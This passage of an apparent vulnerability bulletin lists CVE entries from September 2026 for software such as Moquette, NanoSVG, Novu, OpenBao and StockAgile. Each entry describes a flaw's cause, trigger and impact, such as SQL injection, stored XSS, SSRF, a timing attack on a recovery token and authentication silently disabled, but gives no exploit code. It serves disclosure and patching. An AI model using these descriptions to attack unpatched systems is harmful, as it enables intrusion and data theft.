&lt;td&gt;Moquette is a lightweight Java MQTT broker. Prior to 0.18.1, H2PersistentQueue derives a session&#039;s message-map name as queue_ plus the client ID and its metadata-map name as queue_ plus the client ID plus _meta. A durable session whose client ID ends in _meta can therefore make its message map collide with another client&#039;s metadata map. The colliding sessions read and write the same H2 MVStore map with incompatible value types, which can corrupt queue head and tail data and cause message loss, misdelivery, failed queue reloads, or exposure of queued content across sessions. This issue is fixed in version 0.18.1.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95847&quot; target=&quot;_blank&quot;&gt;CVE-2026-95847&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;moquette-io--moquette&lt;/td&gt;
&lt;td&gt;Moquette is a lightweight Java MQTT broker. Prior to 0.18.1, when a configured authenticator or authorizator class cannot be loaded, Server.initializeAuthenticator and Server.initializeAuthorizatorPolicy treat the failure as though no custom class was configured and fall back to AcceptAllAuthenticator or PermitAllAuthorizatorPolicy. A misspelled class name, missing dependency, constructor failure, or classpath problem can therefore start the broker with authentication or authorization disabled even though the operator configured those controls. This issue is fixed in version 0.18.1.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95848&quot; target=&quot;_blank&quot;&gt;CVE-2026-95848&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MPack--MPack 1.1.1&lt;/td&gt;
&lt;td&gt;An integer overflow vulnerability exists in MPack 1.1.1 in mpack_node_cstr_alloc() and mpack_node_utf8_cstr_alloc().&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88350&quot; target=&quot;_blank&quot;&gt;CVE-2026-88350&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MPack--MPack 1.1.1&lt;/td&gt;
&lt;td&gt;An integer overflow vulnerability exists in the MPack Node API in MPack 1.1.1 on 32-bit platforms. When parsing a specially crafted MessagePack array32 or map32 object with an excessively large element count, the page allocation size calculation in mpack_tree_parse_children() can overflow size_t and produce an undersized allocation. Subsequent parsing writes mpack_node_data_t records beyond the allocated heap buffer, resulting in heap-buffer-overflow, memory corruption, and denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88351&quot; target=&quot;_blank&quot;&gt;CVE-2026-88351&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MuJS--e892c9fdb&lt;/td&gt;
&lt;td&gt;MuJS e892c9fdb contains an incorrect numeric conversion vulnerability in jsR_isindex() in jsrun.c. A specially crafted JavaScript input containing an excessively large numeric array index can cause an out-of-range floating-point value to be converted to an integer without proper range validation. This results in undefined behavior and can cause process termination, leading to denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88362&quot; target=&quot;_blank&quot;&gt;CVE-2026-88362&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mwilliamson--mammoth.js&lt;/td&gt;
&lt;td&gt;mammoth (aka mammoth.js) before 1.12.2 is vulnerable to prototype pollution when reading the styles defined in a document. Converting a crafted .docx file allows an attacker to add arbitrary properties to Object.prototype. In 1.11.0 through 1.12.1, applications that convert further documents in the same process and return the converted HTML can also disclose the contents of local server files (to the party supplying the documents) by setting externalFileAccess to true.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97151&quot; target=&quot;_blank&quot;&gt;CVE-2026-97151&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Nanomsg--Nanomsg&lt;/td&gt;
&lt;td&gt;Nanomsg versions 0.5-beta through 1.x before 1.2.3 has a remotely exploitable buffer overflow in the WebSocket transport, due to an unchecked copy of the Sec-WebSocket-Version header, through snprintf.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97152&quot; target=&quot;_blank&quot;&gt;CVE-2026-97152&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NanoSVG--239e102ec&lt;/td&gt;
&lt;td&gt;NanoSVG commit 239e102ec contains an incorrect numeric conversion vulnerability in nsvg__pathArcTo() when parsing SVG arc commands. A specially crafted SVG document containing extreme arc radius values can cause intermediate arc calculations to produce a NaN delta angle. The function subsequently converts this NaN value to int without validating that it is finite and representable, resulting in undefined behavior and process termination, leading to denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88366&quot; target=&quot;_blank&quot;&gt;CVE-2026-88366&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NanoSVG--239e102ec&lt;/td&gt;
&lt;td&gt;NanoSVG 239e102ec contains an incorrect numeric conversion vulnerability in nsvg__curveDivs() during SVG stroke rasterization. A specially crafted SVG document containing an extremely large stroke-width can cause floating-point rounding to produce a zero subdivision angle. The subsequent arc division yields infinity, which is converted to int without range validation, resulting in undefined behavior and process termination, leading to denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88367&quot; target=&quot;_blank&quot;&gt;CVE-2026-88367&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NanoSVG--239e102ec&lt;/td&gt;
&lt;td&gt;NanoSVG commit 239e102ec contains an incorrect numeric conversion vulnerability in the rasterizer&#039;s nsvg__addActive() function. A specially crafted SVG document containing sufficiently large geometry coordinates can cause fixed-point-scaled edge coordinates to exceed the range representable by int. The rasterizer subsequently converts these values to int without range validation, resulting in undefined behavior and possible process termination, leading to denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88368&quot; target=&quot;_blank&quot;&gt;CVE-2026-88368&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nDPI--nDPI 5.1.0&lt;/td&gt;
&lt;td&gt;nDPI 5.1.0 contains a memory access issue in the DNS dissector and serializer deserialization code. Specially crafted network input can cause byte-buffer addresses at odd offsets to be cast to uint16_t or wider integer pointers and directly dereferenced without alignment checks. This results in undefined behavior and can cause process termination in UBSan-instrumented builds or on strict-alignment architectures, leading to denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88357&quot; target=&quot;_blank&quot;&gt;CVE-2026-88357&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netgate --pfSense 26.03.&lt;/td&gt;
&lt;td&gt;Cross Site Scripting vulnerability in Netgate pfSense 26.03.1-RELEASE allows an attacker to execute arbitrary code via the pfBlockerNG package&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78902&quot; target=&quot;_blank&quot;&gt;CVE-2026-78902&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netlink ICT Pvt Ltd--Netlink ICT HG323RW Router&lt;/td&gt;
&lt;td&gt;This vulnerability exists in the Netlink ICT HG323RW router due to insufficient authorization and input validation controls in the diagnostic script import functionality. An authenticated attacker could exploit this vulnerability by uploading and executing a specially crafted script through the web management interface. Successful exploitation of this vulnerability could allow the attacker to execute arbitrary operating system commands with root privileges resulting in complete compromise of the affected device.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96515&quot; target=&quot;_blank&quot;&gt;CVE-2026-96515&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Newsletters--Newsletters&lt;/td&gt;
&lt;td&gt;The Newsletters WordPress plugin before 4.18.1 does not perform an ownership check on some of its subscriber management actions, and issues a management session to unauthenticated visitors on request, allowing attackers to read any subscriber&#039;s personal data and overwrite any subscriber&#039;s record including their email address.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16264&quot; target=&quot;_blank&quot;&gt;CVE-2026-16264&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Nextcloud--Collectives&lt;/td&gt;
&lt;td&gt;The emoji field in the page emoji update endpoint does not properly validate user input. By injecting long text and line breaks, the sidebar layout becomes broken and can hide other items.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77166&quot; target=&quot;_blank&quot;&gt;CVE-2026-77166&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Nextcloud--Server&lt;/td&gt;
&lt;td&gt;File owners were unable to unlock TYPE_TOKEN locks placed by other users, leaving files permanently locked with no recovery path outside of the database.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77165&quot; target=&quot;_blank&quot;&gt;CVE-2026-77165&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NextScripts: Social Networks Auto-Poster--NextScripts: Social Networks Auto-Poster&lt;/td&gt;
&lt;td&gt;The NextScripts: Social Networks Auto-Poster WordPress plugin before 4.4.8 does not perform capability or ownership checks on several of its AJAX actions, relying on a nonce alone, allowing users an administrator has granted access to its posting features to export the site&#039;s configured social account credentials, delete arbitrary posts and reset the NextScripts: Social Networks Auto-Poster WordPress plugin before 4.4.8&#039;s configuration.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97227&quot; target=&quot;_blank&quot;&gt;CVE-2026-97227&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nocobase --nocobase&amp;nbsp;&lt;/td&gt;
&lt;td&gt;A SQL injection vulnerability in the checkSQL function of nocobase v2.1.21 allows attackers to access sesntive database information via injecting crafted SQL statements.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88402&quot; target=&quot;_blank&quot;&gt;CVE-2026-88402&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nocobase --nocobase&amp;nbsp;&lt;/td&gt;
&lt;td&gt;A Server-Side Request Forgery (SSRF) in the serverRequest function of nocobase v2.1.21 allows authenticated attackers to scan internal resources via a crafted HTTP request.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88403&quot; target=&quot;_blank&quot;&gt;CVE-2026-88403&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Norwegian Cruise Line--door access control&lt;/td&gt;
&lt;td&gt;The door access control on a Norwegian Cruise Line asset grants entry based only on the credential&#039;s static 7-byte UID stored on an NTAG212 NFC chip. A UID is a manufacturer serial number sent in the clear on every read and is not intended to be secret or to authenticate the holder. Validating on the UID of the NTAG212 NFC chip alone is identification, not authentication, and the credential has no challenge-response capability that would resist copying.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75907&quot; target=&quot;_blank&quot;&gt;CVE-2026-75907&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Novadigits technologies--StockAgile&lt;/td&gt;
&lt;td&gt;Stored Cross-Site Scripting (XSS) vulnerability in StockAgile API and management panel. The vulnerability is present on the server side in REST endpoint &#039;/inventory/configuration/payment-methods&#039;&amp;nbsp;that allow the injection and persistence of malicious JavaScript code through parameters such as &#039;code&#039;, &#039;name&#039;, and other text fields. The scripts that are entered are not filtered or validated correctly before being displayed on the web panel that authenticated users can access. Exploiting this vulnerability could allow a remote, previously authenticated attacker to execute arbitrary JavaScript code.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6082&quot; target=&quot;_blank&quot;&gt;CVE-2026-6082&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Novadigits technologies--StockAgile&lt;/td&gt;
&lt;td&gt;Stored Cross-Site Scripting (XSS) vulnerability in StockAgile API and management panel. The vulnerability is present on the server side in REST endpoint &#039; /inventory/configuration/pricing-tiers&#039;&amp;nbsp;that allow the injection and persistence of malicious JavaScript code through parameters such as &#039;code&#039;, &#039;name&#039;, and other text fields. The scripts that are entered are not filtered or validated correctly before being displayed on the web panel that authenticated users can access. Exploiting this vulnerability could allow a remote, previously authenticated attacker to execute arbitrary JavaScript code.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6083&quot; target=&quot;_blank&quot;&gt;CVE-2026-6083&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Novadigits technologies--StockAgile&lt;/td&gt;
&lt;td&gt;Stored Cross-Site Scripting (XSS) vulnerability in StockAgile API and management panel. The vulnerability is present on the server side in REST endpoint &#039;/inventory/configuration/variants&#039;&amp;nbsp;that allow the injection and persistence of malicious JavaScript code through parameters such as &#039;code&#039;, &#039;name&#039;, and other text fields. The scripts that are entered are not filtered or validated correctly before being displayed on the web panel that authenticated users can access. Exploiting this vulnerability could allow a remote, previously authenticated attacker to execute arbitrary JavaScript code.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6084&quot; target=&quot;_blank&quot;&gt;CVE-2026-6084&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Novadigits technologies--StockAgile&lt;/td&gt;
&lt;td&gt;Stored Cross-Site Scripting (XSS) vulnerability in StockAgile API and management panel. The vulnerability is present on the server side in REST endpoint &#039;/inventory/configuration/serial-number-types&#039;&amp;nbsp;that allow the injection and persistence of malicious JavaScript code through parameters such as &#039;code&#039;, &#039;name&#039;, and other text fields. The scripts that are entered are not filtered or validated correctly before being displayed on the web panel that authenticated users can access. Exploiting this vulnerability could allow a remote, previously authenticated attacker to execute arbitrary JavaScript code.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6085&quot; target=&quot;_blank&quot;&gt;CVE-2026-6085&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Novadigits technologies--StockAgile&lt;/td&gt;
&lt;td&gt;Stored Cross-Site Scripting (XSS) vulnerability in StockAgile API and management panel. The vulnerability is present on the server side in REST endpoint &#039;/inventory/configuration/serial-number-types&#039;&amp;nbsp;that allow the injection and persistence of malicious JavaScript code through parameters such as &#039;code&#039;, &#039;name&#039;, and other text fields. The scripts that are entered are not filtered or validated correctly before being displayed on the web panel that authenticated users can access. Exploiting this vulnerability could allow a remote, previously authenticated attacker to execute arbitrary JavaScript code.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6086&quot; target=&quot;_blank&quot;&gt;CVE-2026-6086&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Novadigits technologies--StockAgile&lt;/td&gt;
&lt;td&gt;Stored Cross-Site Scripting (XSS) vulnerability in StockAgile API and management panel. The vulnerability is present on the server side in REST endpoint &#039;/inventory/configuration/categories&#039;&amp;nbsp;that allow the injection and persistence of malicious JavaScript code through parameters such as &#039;code&#039;, &#039;name&#039;, and other text fields. The scripts that are entered are not filtered or validated correctly before being displayed on the web panel that authenticated users can access. Exploiting this vulnerability could allow a remote, previously authenticated attacker to execute arbitrary JavaScript code.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6087&quot; target=&quot;_blank&quot;&gt;CVE-2026-6087&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Novadigits technologies--StockAgile&lt;/td&gt;
&lt;td&gt;Stored Cross-Site Scripting (XSS) vulnerability in StockAgile API and management panel. The vulnerability is present on the server side in REST endpoint &#039;/inventory/configuration/categories&#039;&amp;nbsp;that allow the injection and persistence of malicious JavaScript code through parameters such as &#039;code&#039;, &#039;name&#039;, and other text fields. The scripts that are entered are not filtered or validated correctly before being displayed on the web panel that authenticated users can access. Exploiting this vulnerability could allow a remote, previously authenticated attacker to execute arbitrary JavaScript code.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-6088&quot; target=&quot;_blank&quot;&gt;CVE-2026-6088&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;novuhq--novu&lt;/td&gt;
&lt;td&gt;Novu provides an API for sending notifications through multiple channels. Prior to 3.18.0, Novu&#039;s @novu/js In-App Inbox and the @novu/react Inbox component accept a notification call-to-action redirect.url from the v1 cta.data object and pass it through apps/api/src/app/inbox/utils/notification-mapper.ts and packages/js/src/ui/components/Notification/DefaultNotification.tsx to the navigate function in packages/js/src/ui/context/InboxContext.tsx without validating its URL scheme. An authenticated organization member or environment API-key holder can store a javascript: redirect with target _self in an in-app workflow. When a recipient using a Chromium-based browser clicks the notification, window.open executes the redirect in the current inbox-hosting origin, which can expose session material and permit authenticated actions in a customer application or the self-hosted Novu dashboard. This issue is fixed in version 3.18.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75510&quot; target=&quot;_blank&quot;&gt;CVE-2026-75510&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;novuhq--novu&lt;/td&gt;
&lt;td&gt;Novu provides an API for sending notifications through multiple channels. Prior to 3.18.0, Novu accepts chat webhook URLs from subscriber credentials.webhookUrl, channel endpoint endpoint.url, event payload.webhookUrl, and event overrides.webhookUrl, then passes the selected endpoint.url through send-message-chat.usecase.ts to raw HTTP requests in the Slack, Discord, Mattermost, Microsoft Teams, Grafana On-Call, Ryver, Rocket.Chat, GetStream, and Zulip providers. An authenticated user can supply an internal or otherwise restricted destination because these paths do not apply normalizeOutboundHttpUrl, assertSafeOutboundUrl, or the DNS-pinned safeOutboundJsonRequest protection used by the generic webhook providers. The Novu worker can consequently issue attacker-directed POST requests to internal network services and cause interactions or actions supported by those services. This issue is fixed in version 3.18.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75511&quot; target=&quot;_blank&quot;&gt;CVE-2026-75511&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NP Quote Request for WooCommerce--NP Quote Request for WooCommerce&lt;/td&gt;
&lt;td&gt;The NP Quote Request for WooCommerce WordPress plugin before 2.4.16 does not verify order ownership before rendering an order&#039;s details, allowing unauthenticated attackers to view another customer&#039;s order using the order&#039;s key.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93528&quot; target=&quot;_blank&quot;&gt;CVE-2026-93528&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NT-ware--uniFLOW Online&lt;/td&gt;
&lt;td&gt;A session management vulnerability exists in the Legacy UI Reduced Function Login feature of NT-ware uniFLOW Online. Under specific timing conditions during Service Offline Emergency Mode, a previously authenticated session may be retained after logout, which could allow a subsequent user to be authenticated as the previous user and gain unauthorised limited access to device functionality.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92378&quot; target=&quot;_blank&quot;&gt;CVE-2026-92378&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Online Scheduling and Appointment Booking System--Online Scheduling and Appointment Booking System&lt;/td&gt;
&lt;td&gt;The Online Scheduling and Appointment Booking System WordPress plugin before 28.3 does not verify that appointment and payment records requested through its staff-role AJAX actions belong to the requesting staff member, allowing authenticated attackers with a staff-level account to view, modify and delete other staff members&#039; appointments and payments, including the associated customer&#039;s personal information.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86839&quot; target=&quot;_blank&quot;&gt;CVE-2026-86839&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Online Scheduling and Appointment Booking System--Online Scheduling and Appointment Booking System&lt;/td&gt;
&lt;td&gt;The Online Scheduling and Appointment Booking System WordPress plugin before 28.3 does not prevent deserialization of untrusted input and does not correctly restrict a privileged maintenance feature to administrators, allowing users granted a custom booking-management capability, which an administrator must explicitly assign, to inject arbitrary PHP objects, overwrite privileged site options, and read stored integration secrets.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86841&quot; target=&quot;_blank&quot;&gt;CVE-2026-86841&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openbao--openbao&lt;/td&gt;
&lt;td&gt;OpenBao is an open source identity-based secrets management system. Prior to 2.6.0, OpenBao&#039;s vault/policy/acl.go could evaluate a broader wildcard ACL grant before more-specific trailing-wildcard ACL paths with capabilities = [&quot;deny&quot;] for a LIST operation. When a parent path permitted LIST and a child path was denied, the trailing-slash lookup could therefore allow listing the denied path. Other operation types are outside the repository advisory&#039;s affected scope. This issue is fixed in version 2.6.0.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63131&quot; target=&quot;_blank&quot;&gt;CVE-2026-63131&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openbao--openbao&lt;/td&gt;
&lt;td&gt;OpenBao is an open source identity-based secrets management system. Prior to 2.6.0, OpenBao&#039;s handleLogicalRecovery path in http/logical.go compared the highly privileged recovery token with ordinary string equality. A remote unauthenticated attacker able to make repeated recovery mode requests and measure response timing could infer the recovery token. The recovered token could then authorize recovery mode operations that read or modify OpenBao data. This issue is fixed in version 2.6.0.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63132&quot; target=&quot;_blank&quot;&gt;CVE-2026-63132&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openbao--openbao&lt;/td&gt;
&lt;td&gt;OpenBao is an open source identity-based secrets management system. Prior to 2.6.0, templated ACL, PKI, and SSH policies could substitute attacker-controlled identity data without rejecting syntax-significant characters. In ACL templated policies, asterisks, plus signs, and slashes could alter path matching. In PKI allowed_uri_sans_template and allowed_domains policies, an asterisk could broaden certificate issuance to unauthorized domains. In SSH allowed_users and allowed_domains policies, a comma could add unauthorized principals. Exploitation requires a deployment to use templated policy data that users can freely modify; templates based on the randomly generated identity.entity.id value are not affected. This could allow privilege escalation, unauthorized access, and unauthorized certificate issuance. This issue is fixed in version 2.6.0.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71543&quot; target=&quot;_blank&quot;&gt;CVE-2026-71543&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openbao--openbao&lt;/td&gt;
&lt;td&gt;OpenBao is an open source identity-based secrets management system. Prior to 2.6.0, OpenBao Agent&#039;s exec rendering mode could write secrets from env_template to standard output when command/agent/exec/exec.go re-created the template runner after repeated rendering failures, primarily after num_retries was reached. A process supervisor, log collector, or local user able to read that output could obtain the rendered secret values. This issue is fixed in version 2.6.0.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77285&quot; target=&quot;_blank&quot;&gt;CVE-2026-77285&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenEXR--OpenEXR 3.4.14&lt;/td&gt;
